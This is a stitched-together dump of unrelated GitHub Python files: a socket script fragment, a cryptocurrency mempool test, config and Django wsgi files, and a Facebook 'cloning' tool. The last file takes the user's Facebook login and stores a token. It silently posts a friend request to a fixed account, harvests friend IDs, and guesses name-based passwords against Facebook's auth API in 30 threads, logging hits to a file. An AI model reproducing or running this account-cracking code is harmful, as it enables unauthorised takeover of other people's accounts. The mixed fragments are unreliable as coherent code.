sk.send(zhuce(list[1][0]))
# print('次基站2注册信息包', zhuce())
ms = sk.recv(1024)
Recv_info(ms)
## 属于线程t的部分
t1 = threading.Thread(target=xintiao2)
t2 = threading.Thread(target=Blink_info)
t3 = threading.Thread(target=CCPRX_Report2)
# t4 = threading.Thread(target=time_x)
t1.start()
# t4.start()
while True:
if cou.rtls==1:
t3.start()
t2.start()
break
break
except Exception as e:
print('服务器连接失败--', e)
## 属于线程t的部分
# t1.join() # join是阻塞当前线程(此处的当前线程时主线程) 主线程直到Thread-1结束之后才结束
# t2.join()
|
[
"noreply@github.com"
] |
15921970316.noreply@github.com
|
f232197bf4bdd9302fbe97431575ee55b7c2c3d1
|
89dbaf6b4e7e79441a1bcfdce7b645179209d2ea
|
/qa/rpc-tests/mempool_resurrect_test.py
|
a0096eaa1bc84f96b32d6075f7db303b255cc123
|
[
"MIT"
] |
permissive
|
dzcoin/DzCoinMiningAlgorithm
|
cd7f7af778f350442e3b1154ae34ec1916a46b2a
|
b0294cf5ac893fe907b08105f1aa826c3da464cf
|
refs/heads/master
| 2021-01-09T20:57:23.439272
| 2016-08-14T17:33:38
| 2016-08-14T17:33:38
| 65,678,189
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,414
|
py
|
#!/usr/bin/env python2
# copyright (c) 2014 the dzcoin core developers
# distributed under the mit software license, see the accompanying
# file copying or http://www.opensource.org/licenses/mit-license.php.
#
# test resurrection of mined transactions when
# the blockchain is re-organized.
#
from test_framework.test_framework import dzcointestframework
from test_framework.util import *
import os
import shutil
# create one-input, one-output, no-fee transaction:
class mempoolcoinbasetest(dzcointestframework):
def setup_network(self):
# just need one node for this test
args = ["-checkmempool", "-debug=mempool"]
self.nodes = []
self.nodes.append(start_node(0, self.options.tmpdir, args))
self.is_network_split = false
def create_tx(self, from_txid, to_address, amount):
inputs = [{ "txid" : from_txid, "vout" : 0}]
outputs = { to_address : amount }
rawtx = self.nodes[0].createrawtransaction(inputs, outputs)
signresult = self.nodes[0].signrawtransaction(rawtx)
assert_equal(signresult["complete"], true)
return signresult["hex"]
def run_test(self):
node0_address = self.nodes[0].getnewaddress()
# spend block 1/2/3's coinbase transactions
# mine a block.
# create three more transactions, spending the spends
# mine another block.
# ... make sure all the transactions are confirmed
# invalidate both blocks
# ... make sure all the transactions are put back in the mempool
# mine a new block
# ... make sure all the transactions are confirmed again.
b = [ self.nodes[0].getblockhash(n) for n in range(1, 4) ]
coinbase_txids = [ self.nodes[0].getblock(h)['tx'][0] for h in b ]
spends1_raw = [ self.create_tx(txid, node0_address, 50) for txid in coinbase_txids ]
spends1_id = [ self.nodes[0].sendrawtransaction(tx) for tx in spends1_raw ]
blocks = []
blocks.extend(self.nodes[0].generate(1))
spends2_raw = [ self.create_tx(txid, node0_address, 49.99) for txid in spends1_id ]
spends2_id = [ self.nodes[0].sendrawtransaction(tx) for tx in spends2_raw ]
blocks.extend(self.nodes[0].generate(1))
# mempool should be empty, all txns confirmed
assert_equal(set(self.nodes[0].getrawmempool()), set())
for txid in spends1_id+spends2_id:
tx = self.nodes[0].gettransaction(txid)
assert(tx["confirmations"] > 0)
# use invalidateblock to re-org back; all transactions should
# end up unconfirmed and back in the mempool
for node in self.nodes:
node.invalidateblock(blocks[0])
# mempool should be empty, all txns confirmed
assert_equal(set(self.nodes[0].getrawmempool()), set(spends1_id+spends2_id))
for txid in spends1_id+spends2_id:
tx = self.nodes[0].gettransaction(txid)
assert(tx["confirmations"] == 0)
# generate another block, they should all get mined
self.nodes[0].generate(1)
# mempool should be empty, all txns confirmed
assert_equal(set(self.nodes[0].getrawmempool()), set())
for txid in spends1_id+spends2_id:
tx = self.nodes[0].gettransaction(txid)
assert(tx["confirmations"] > 0)
if __name__ == '__main__':
mempoolcoinbasetest().main()
|
[
"dzgrouphelp@foxmail.com"
] |
dzgrouphelp@foxmail.com
|
223fdee3194358515d95388c141e4d2e97b7c2c5
|
6fecc74a147ff8c3966bb94a491aae6e26e3b439
|
/config/base_config.py
|
77bf7e15d09abb7d10e3997aa2fec34c61bdfb4a
|
[] |
no_license
|
lukang287/ws
|
13adddc0a7e2b8b920137972f132ec8df2d135ba
|
26626849c683caa89489939b279c50116e77baf9
|
refs/heads/master
| 2020-04-20T06:11:56.843679
| 2019-02-01T09:46:12
| 2019-02-01T09:46:12
| 168,676,116
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 279
|
py
|
WS_SERVER_PORT_ONE = 5001
WS_SERVER_PORT_MUTIL = 5000
#MQ配置,queue用于一对一不丢失，topic用于发布订阅，一对多会丢失
MQ_BROKERS = [('106.13.4.172', 61613)]
LOG_QUEUE_NAME = '/queue/log'
CMD_QUEUE_NAME = '/queue/cmd'
NOTIFY_TOPIC_NAME = '/topic/notify'
|
[
"lukang@lightinthebox.com"
] |
lukang@lightinthebox.com
|
52519de05a1705498f59ab6900fec766342624d4
|
cf98e53c7d74a717a1ccb60d10396f78f2572f82
|
/EMP/EMP/wsgi.py
|
fe7dbac48b66751c7e61d86fbc255de82dec892e
|
[] |
no_license
|
mkm1997/ESCALE
|
f09cb18b0b26ea94bfaccbd10eee3fe81d0d9ee9
|
99a163b25b57d57fb6412a172dd4c51fb0f7ee8a
|
refs/heads/master
| 2020-03-19T05:24:30.592902
| 2018-06-03T17:59:10
| 2018-06-03T17:59:10
| 135,927,715
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 383
|
py
|
"""
WSGI config for EMP project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/2.0/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "EMP.settings")
application = get_wsgi_application()
|
[
"mmanish184@gmail.com"
] |
mmanish184@gmail.com
|
f30cc6d0be2770d0b1aa2a10eecb5907a6985c08
|
638fabe27947b1b9bfc8b357d94cb7faf82c1f8d
|
/harshudubey.py
|
966bd50a563dddaf114c69f7d26b1ee484402e57
|
[] |
no_license
|
harshudubey/harahu
|
494ad353d608311812ec967a42296bee330141ff
|
a5567a0bad7868fd87f1eda4d45b78bbd7b3f2b4
|
refs/heads/master
| 2022-04-28T08:31:22.053346
| 2020-04-19T00:09:09
| 2020-04-19T00:09:09
| 256,864,102
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 25,031
|
py
|
#!/usr/bin/python2
#coding=utf-8
#The Credit For This Code Goes To lovehacker
#If You Wanna Take Credits For This Code, Please Look Yourself Again...
#Reserved2020
import os,sys,time,datetime,random,hashlib,re,threading,json,urllib,cookielib,requests,mechanize
from multiprocessing.pool import ThreadPool
from requests.exceptions import ConnectionError
from mechanize import Browser
reload(sys)
sys.setdefaultencoding('utf8')
br = mechanize.Browser()
br.set_handle_robots(False)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),max_time=1)
br.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')]
def keluar():
print "\x1b[1;91mExit"
os.sys.exit()
def acak(b):
w = 'ahtdzjc'
d = ''
for i in x:
d += '!'+w[random.randint(0,len(w)-1)]+i
return cetak(d)
def cetak(b):
w = 'ahtdzjc'
for i in w:
j = w.index(i)
x= x.replace('!%s'%i,'\033[%s;1m'%str(31+j))
x += '\033[0m'
x = x.replace('!0','\033[0m')
sys.stdout.write(x+'\n')
def jalan(z):
for e in z + '\n':
sys.stdout.write(e)
sys.stdout.flush()
time.sleep(0.07)
#Dev:harshu_dubey
##### LOGO #####
logo = """
\033[1;91m:•◈ ░█ ▄▀█ █▀█ █▀ █░█ █░█ ▀▄▀:•◈•
\033[1;91m:•◈•█▀█ █▀█ █▀▄ ▄█ █▀█ █▄█ █░█:•◈•
\033[1;91m:•◈•█▀█ █░█ █▀▀ █░█ █ █▄▀ ▄▀█:•◈•
\033[1;91m:•◈•█▀▄ █▄█ █▄▄ █▀█ █ █░█ █▀█:•◈•
\033[1;91m:•◈•
\033[1;91m:•◈•█╗░░██╗░█████╗░██████╗░░██████╗██╗░░██╗██╗░░░██╗:•◈•
\033[1;91m:•◈•██║░░██║██╔══██╗██╔══██╗██╔════╝██║░░██║██║░░░██║:•◈•
\033[1;91m:•◈•███████║███████║██████╔╝╚█████╗░███████║██║░░░██║:•◈•
\033[1;91m:•◈•██╔══██║██╔══██║██╔══██╗░╚═══██╗██╔══██║██║░░░██║:•◈•
\033[1;91m:•◈•██║░░██║██║░░██║██║░░██║██████╔╝██║░░██║╚██████╔╝:•◈•
\033[1;91m:•◈•╚═╝░░╚═╝╚═╝░░╚═╝╚═╝░░╚═╝╚═════╝░╚═╝░░╚═╝░╚═════╝░:•◈•
\033[1;91m:•◈•
\033[1;
\033[1;91m:•◈•
\033[1;94m:•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬ •◈•\033[1;91mKali.linux\033[1;94m•◈•▬ ▬ ▬ ▬ ▬ •◈•
\033[1;91m:•◈•
\033[1;91m:•◈•██████╗░██╗░░░██╗██████╗░███████╗██╗░░░██╗
\033[1;91m:•◈•██╔══██╗██║░░░██║██╔══██╗██╔════╝╚██╗░██╔╝word liest
\033[1;91m:•◈•██║░░██║██║░░░██║██████╦╝█████╗░░░╚████╔╝░
\033[1;91m:•◈•██║░░██║██║░░░██║██╔══██╗██╔══╝░░░░╚██╔╝░░
\033[1;91m:•◈•╔╝╚██████╔╝██████╦╝███████╗░░░██║░░░
\033[1;91m:•◈•╚═════╝░░╚═════╝░╚═════╝░╚══════╝░░░╚═╝░░░
\033[1;91m:•◈•░░░░░██╗██╗
\033[1;91m:•◈•░░░░░██║██║
\033[1;91m:•◈•░░░░░██║██║
\033[1;91m:•◈•██╗░░██║██║
\033[1;91m:•◈•╚█████╔╝██║
\033[1;91m:•◈•░╚════╝░╚═╝
\033[1;91m:•◈•
\033[1;91m:•◈•
\033[1;91m:•◈•
\033[1;91m:•◈•
\033[1;94m:•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬ •◈•\033[1;91mKali.linux\033[1;94m•◈•▬ ▬•◈•"""
def tik():
titik = ['. ','.. ','... ']
for o in titik:
print("\r\x1b[1;93mPlease Wait \x1b[1;93m"+o),;sys.stdout.flush();time.sleep(1)
back = 0
berhasil = []
cekpoint = []
oks = []
id = []
listgrup = []
vulnot = "\033[31mNot Vuln"
vuln = "\033[32mVuln"
os.system("clear")
print """
\033[1;94m•◈••◈••◈•\033[1;94m◈••◈••◈••◈••◈•◈••◈••◈••◈••◈\033[1;94m•◈••◈••◈•
\033[1;94m•◈••◈••◈•\033[1;95m. █░▒█ ░█▀▀█ ▒█▀▀█ ▒█▀▀▀█ ▒█░▒█ ▒█░▒█ \033[1;94m•◈••◈••◈•\033[1;95m.
\033[1;94m•◈••◈••◈•\033[1;95m. ▒█▀▀█ ▒█▄▄█ ▒█▄▄▀ ░▀▀▀▄▄ ▒█▀▀█ ▒█░▒█ \033[1;94m•◈••◈••◈•\033[1;95m.
\033[1;94m•◈••◈••◈•\033[1;95m. ▒█░▒█ ▒█░▒█ ▒█░▒█ ▒█▄▄▄█ ▒█░▒█ ░▀▄▄▀ \033[1;94m•◈••◈••◈•\033[1;95m.
\033[1;94m•◈••◈••◈•\033[1;95m. ▀▄▒▄▀ █▀▀█ \033[1;94m•◈••◈••◈•\033[1;95m.
\033[1;94m•◈••◈••◈•\033[1;95m.
\033[1;94m•◈••◈••◈•\033[1;95m. ░▒█░░ ░░▀▄ \033[1;94m•◈••◈••◈•\033[1;95m.
\033[1;94m•◈••◈••◈•\033[1;95m. ▄▀▒▀▄ █▄▄█ \033[1;94m•◈••◈••◈•\033[1;95m.
\033[1;94m•◈••◈••◈•\033[1;95m.▒█▀▀█ ▒█░▒█ ▒█▀▀█ ▒█░▒█ ▀█▀ ▒█░▄▀ ░█▀▀█ \033[1;94m•◈••◈••◈•\033[1;95m.
\033[1;94m•◈••◈••◈•\033[1;95m.▒█▄▄▀ ▒█░▒█ ▒█░░░ ▒█▀▀█ ▒█░ ▒█▀▄░ ▒█▄▄█ \033[1;94m•◈••◈••◈•\033[1;95m.
\033[1;94m•◈••◈••◈•\033[1;95m.
\033[1;94m•◈••◈••◈•\033[1;95m.▒█░▒█ ░▀▄▄▀ ▒█▄▄█ ▒█░▒█ ▄█▄ ▒█░▒█ ▒█░▒█ \033[1;94m•◈••◈••◈•\033[1;95m.
\
\033[1;94m•◈••◈••◈•\033[1;95m. █╗███╗░░██╗██████╗░██╗░█████╗░███╗░░██╗\033[1;94m•◈••◈••◈•\033[1;95m.
\033[1;94m•◈••◈••◈•\033[1;95m.██║████╗░██║██╔══██╗██║██╔══██╗████╗░██║\033[1;94m•◈••◈••◈•\033[1;95m.
\033[1;94m•◈••◈••◈•\033[1;95m.██║██╔██╗██║██║░░██║██║███████║██╔██╗██║\033[1;94m•◈••◈••◈•\033[1;95m.
\033[1;94m•◈••◈••◈•\033[1;95m.██║██║╚████║██║░░██║██║██╔══██║██║╚████║\033[1;94m•◈••◈••◈•\033[1;95m.
\033[1;94m•◈••◈••◈•\033[1;95m.██║██║░╚███║██████╔╝██║██║░░██║██║░╚███║\033[1;94m•◈••◈••◈•\033[1;95m.
\033[1;94m•◈••◈••◈•\033[1;95m.╚═╝╚═╝░░╚══╝╚═════╝░╚═╝╚═╝░░╚═╝╚═╝░░╚══╝\033[1;94m•◈••◈••◈•\033[1;95m.
\033[1;94m•◈••◈••◈•\033[1;95m . \033[1;94m•◈••◈••◈•
\033[1;94m•◈••◈••◈•\033[1;95m \033[1;94m•◈••◈••◈•
\033[1;94m•◈••◈••◈•\033[1;95m. \033[1;94m•◈••◈••◈•
\033[1;94m•◈••◈••◈••◈•\033[1;94m••◈••◈••◈••◈••◈••◈••◈••◈•\033[1;94m•◈••◈••◈••◈•
\033[1;91m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•\033[1;94mKalilinux\033[1;91m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•"""
jalan('\033[1;95m▬10%')
jalan("\033[1;95m▬▬20%")
jalan('\033[1;95m▬▬▬30%')
jalan('\033[1;95m▬▬▬▬40%')
jalan("\033[1;95m▬▬▬▬▬50%")
jalan("\033[1;95m▬▬▬▬▬▬60% \033[1;91mAll Country ID Clone")
jalan('\033[1;95m▬▬▬▬▬▬▬70%')
jalan('\033[1;95m▬▬▬▬▬▬▬▬80%')
jalan('\033[1;95m▬▬▬▬▬▬▬▬▬90%')
jalan('\033[1;95m▬▬▬▬▬▬▬▬▬100%')
print "\033[1;91m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•\033[1;94mkalilinux\033[1;91m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•"
CorrectUsername = "harshu"
CorrectPassword = "ruchika"
loop = 'true'
while (loop == 'true'):
username = raw_input("\033[1;91m📋 \x1b[1;91mTool Username \x1b[1;91m»» \x1b[1;92m")
if (username == CorrectUsername):
password = raw_input("\033[1;91m🗝 \x1b[1;91mTool Password \x1b[1;91m»» \x1b[1;92m")
if (password == CorrectPassword):
print "Logged in successfully as " + username #Dev:harshu_ruchika
time.sleep(2)
loop = 'false'
else:
print "\033[1;93mWrong Password"
os.system('xdg-open https://www.youtube.com/channel/UC3S835IJhJvZiTL04O0AHBg')
print "\033[1;94mWrong Username"
os.system('xdg-open https://www.youtube.com/channel/UC3S835IJhJvZiTL04O0AHBg')
def login():
os.system('clear')
try:
toket = open('login.txt','r')
menu()
except (KeyError,IOError):
os.system('clear')
print logo
jalan(' \033[1;91mWarning: \033[1;95mDo Not Use Your Personal Account' )
jalan(' \033[1;91mWarning: \033[1;95mUse a New Account To Login' )
jalan(' \033[1;91mWarning: \033[1;95mTermux Old Version install 0.63✅' )
print "\033[1;94m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬ •◈•\033[1;91mKali.linux\033[1;94m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•"
print(' \033[1;94m▬\x1b[1;94m✔✔✔✔✔✔✔LOGIN WITH FACEBOOK✔✔✔✔✔✔✔\x1b[1;94m▬' )
print(' ' )
id = raw_input('\033[1;91m[+] \x1b[1;94mID/Email\x1b[1;95m: \x1b[1;93m')
pwd = raw_input('\033[1;91m[+] \x1b[1;91mPassword\x1b[1;96m: \x1b[1;93m')
tik()
try:
br.open('https://m.facebook.com')
except mechanize.URLError:
print"\n\x1b[1;96mThere is no internet connection"
keluar()
br._factory.is_html = True
br.select_form(nr=0)
br.form['email'] = id
br.form['pass'] = pwd
br.submit()
url = br.geturl()
if 'save-device' in url:
try:
sig= 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail='+id+'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword='+pwd+'return_ssl_resources=0v=1.062f8ce9f74b12f84c123cc23437a4a32'
data = {"api_key":"882a8490361da98702bf97a021ddc14d","credentials_type":"password","email":id,"format":"JSON", "generate_machine_id":"1","generate_session_cookies":"1","locale":"en_US","method":"auth.login","password":pwd,"return_ssl_resources":"0","v":"1.0"}
x=hashlib.new("md5")
x.update(sig)
a=x.hexdigest()
data.update({'sig':a})
url = "https://api.facebook.com/restserver.php"
r=requests.get(url,params=data)
z=json.loads(r.text)
unikers = open("login.txt", 'w')
unikers.write(z['access_token'])
unikers.close()
print '\n\x1b[1;92mLogin Successful.•◈•..'
os.system('xdg-open https://m.youtube.com/channel/UCRrRgcJjsnNm5Bi5ZenRGnw')
requests.post('https://graph.facebook.com/me/friends?method=post&uids=gwimusa3&access_token='+z['access_token'])
menu()
except requests.exceptions.ConnectionError:
print"\n\x1b[1;91mThere is no internet connection"
keluar()
if 'checkpoint' in url:
print("\n\x1b[1;93mYour Account is on Checkpoint")
os.system('rm -rf login.txt')
time.sleep(1)
keluar()
else:
print("\n\x1b[1;94mPassword/Email is wrong")
os.system('rm -rf login.txt')
time.sleep(1)
login()
def menu():
os.system('clear')
try:
toket=open('login.txt','r').read()
except IOError:
os.system('clear')
print"\x1b[1;91mToken invalid"
os.system('rm -rf login.txt')
time.sleep(1)
login()
try:
otw = requests.get('https://graph.facebook.com/me?access_token='+toket)
a = json.loads(otw.text)
nama = a['name']
id = a['id']
except KeyError:
os.system('clear')
print"\033[1;91mYour Account is on Checkpoint"
os.system('rm -rf login.txt')
time.sleep(1)
login()
except requests.exceptions.ConnectionError:
print"\x1b[1;92mThere is no internet connection"
keluar()
os.system("clear") #Dev:love_hacker
print logo
print " \033[1;92m«----•◈••◈•----\033[1;93mLogged in User Info\033[1;92m----•◈••◈•-----»"
print " \033[1;91m Name\033[1;93m:\033[1;92m"+nama+"\033[1;93m "
print " \033[1;91m ID\033[1;93m:\033[1;92m"+id+"\x1b[1;93m "
print "\033[1;91m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬ •◈•\033[1;93mKali.linux\033[1;91m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬ •◈•"
print "\033[1;97m-•◈•-\033[1;92m> \033[1;92m1.\x1b[1;92mStart Cloning..."
print "\033[1;97m-•◈•-\033[1;91m> \033[1;91m0.\033[1;91mExit "
pilih()
def pilih():
unikers = raw_input("\n\033[1;91mChoose an Option>>> \033[1;97m")
if unikers =="":
print "\x1b[1;91mFill in correctly"
pilih()
elif unikers =="1":
super()
elif unikers =="0":
jalan('Token Removed')
os.system('rm -rf login.txt')
keluar()
else:
print "\x1b[1;91mFill in correctly"
pilih()
def super():
global toket
os.system('clear')
try:
toket=open('login.txt','r').read()
except IOError:
print"\x1b[1;91mToken invalid"
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('clear')
print logo
print "\033[1;92m-•◈•-\033[1;91m> \033[1;92m1.\x1b[1;91mClone From Friend List."
print "\033[1;92m-•◈•-\033[1;91m> \033[1;92m2.\x1b[1;91mClone Friend List Public ID."
print "\033[1;92m-•◈•-\033[1;91m> \033[1;92m0.\033[1;92mBack"
pilih_super()
def pilih_super():
peak = raw_input("\n\033[1;91mChoose an Option>>> \033[1;97m")
if peak =="":
print "\x1b[1;91mFill in correctly"
pilih_super()
elif peak =="1":
os.system('clear')
print logo
print "\033[1;91m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•\033[1;93mKali.linux\033[1;91m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬ •◈•"
jalan('\033[1;93mGetting IDs \033[1;93m...')
r = requests.get("https://graph.facebook.com/me/friends?access_token="+toket)
z = json.loads(r.text)
for s in z['data']:
id.append(s['id'])
elif peak =="2":
os.system('clear')
print logo
idt = raw_input("\033[1;92m[•◈•] \033[1;92mEnter ID\033[1;93m: \033[1;95m")
print "\033[1;91m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•\033[1;93mKali.linux\033[1;91m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•"
try:
jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket)
op = json.loads(jok.text)
print"\033[1;93mName\033[1;93m:\033[1;97m "+op["name"]
except KeyError:
print"\x1b[1;92mID Not Found!"
raw_input("\n\033[1;92m[\033[1;91mBack\033[1;92m]")
super()
print"\033[1;93mGetting IDs\033[1;92m..."
r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+toket)
z = json.loads(r.text)
for i in z['data']:
id.append(i['id'])
elif peak =="0":
menu()
else:
print "\x1b[1;91mFill in correctly"
pilih_super()
print "\033[1;91mTotal IDs\033[1;93m: \033[1;94m"+str(len(id))
jalan('\033[1;92mPlease Wait\033[1;93m...')
titik = ['. ','.. ','... ']
for o in titik:
print("\r\033[1;91mCloning\033[1;93m"+o),;sys.stdout.flush();time.sleep(1)
print "\n\033[1;92m«--•◈••◈•---\x1b[1;93m•◈•Stop Process Press CTRL+Z•◈•\033[1;92m---•◈••◈•-»"
print "\033[1;91m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•\033[1;93mKali.linux\033[1;91m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬ •◈•"
jalan(' \033[1;93m🔎🔎🔎🔎🔎🔎🔎\033[1;94mCloning Start..\033[1;93m🔍🔍🔍🔍🔍🔍🔍 ')
print "\033[1;91m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•\033[1;93mKali.linux\033[1;91m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬ •◈•"
def main(arg):
global cekpoint,oks
user = arg
try:
os.mkdir('out')
except OSError:
pass #Dev:love_hacker
try:
a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket)
b = json.loads(a.text)
pass1 = b['first_name'] + '12345'
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass1)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;91m100% Hack💉\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;91m-' + pass1
oks.append(user+pass1)
else:
if 'www.facebook.com' in q["error_msg"]:
print '\x1b[1;93mAfter7Days🗝\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;93m-' + pass1
cek = open("out/checkpoint.txt", "a")
cek.write(user+"|"+pass1+"\n")
cek.close()
cekpoint.append(user+pass1)
else:
pass2 = b['last_name'] + '12345'
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass2)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;91m100% Hack💉\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;91m-' + pass2
oks.append(user+pass2)
else:
if 'www.facebook.com' in q["error_msg"]:
print '\x1b[1;93mAfter7Days🗝\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;93m-' + pass2
cek = open("out/checkpoint.txt", "a")
cek.write(user+"|"+pass2+"\n")
cek.close()
cekpoint.append(user+pass2)
else:
pass3 = b['first_name'] +'123'
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass3)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;91m100% Hack💉\x1b[1;97m-\x1b[1;94m✙\x1b[1;97m-' + user + '-\x1b[1;93m✙\x1b[1;91m-' + pass3
oks.append(user+pass3)
else:
if 'www.facebook.com' in q["error_msg"]:
print '\x1b[1;93mAfter7Days🗝\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;93m-' + pass3
cek = open("out/checkpoint.txt", "a")
cek.write(user+"|"+pass3+"\n")
cek.close()
cekpoint.append(user+pass3)
else:
pass4 = b['last_name'] + '123'
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass4)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;91m100% Hack💉\x1b[1;97m-\x1b[1;94m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;91m-' + pass4
oks.append(user+pass4)
else:
if 'www.facebook.com' in q["error_msg"]:
print '\x1b[1;93mAfter7Days🗝\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;93m-' + pass4
cek = open("out/checkpoint.txt", "a")
cek.write(user+"|"+pass4+"\n")
cek.close()
cekpoint.append(user+pass4)
else:
pass5 = b['last_name'] + b['last_name']
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass5)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;91m100% Hack💉\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;91m-' + pass5
oks.append(user+pass5)
else:
if 'www.facebook.com' in q["error_msg"]:
print '\x1b[1;93mAfter7Days🗝\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;93m-' + pass5
cek = open("out/checkpoint.txt", "a")
cek.write(user+"|"+pass5+"\n")
cek.close()
cekpoint.append(user+pass5)
else:
pass6 = b['last_name'] + b['last_name'] + '123'
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass6)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;91m100% Hack💉\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;91m-' + pass6
oks.append(user+pass6)
else:
if 'www.facebook.com' in q["error_msg"]:
print '\x1b[1;93mAfter7Days🗝\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;93m-' + pass6
cek = open("out/checkpoint.txt", "a")
cek.write(user+"|"+pass6+"\n")
cek.close()
cekpoint.append(user+pass6)
else:
a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket)
b = json.loads(a.text)
pass7 = b['first_name'] + '12'
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass7)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;91m100% Hack💉\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;91m-' + pass7
oks.append(user+pass7)
else:
if 'www.facebook.com' in q["error_msg"]:
print '\x1b[1;93mAfter7Days🗝\x1b[1;97m-\x1b[1;93m✙\x1b[1;96m-' + user + '-\x1b[1;93m✙\x1b[1;93m-' + pass7
cek = open("out/checkpoint.txt", "a")
cek.write(user+"|"+pass7+"\n")
cek.close()
cekpoint.append(user+pass7)
except:
pass
p = ThreadPool(30)
p.map(main, id)
print "\033[1;91m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•\033[1;93mKali.Linux\033[1;91m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•"
print " \033[1;93m«---•◈•---Developed By love-Hacker--•◈•---»" #Dev:love_hacker
print '\033[1;91m✅Process Has Been Completed Press➡ Ctrl+Z.↩ Next Type (python2 World.py)↩\033[1;92m....'
print"\033[1;91mTotal OK/\x1b[1;93mCP \033[1;91m: \033[1;91m"+str(len(oks))+"\033[1;97m/\033[1;95m"+str(len(cekpoint))
print """
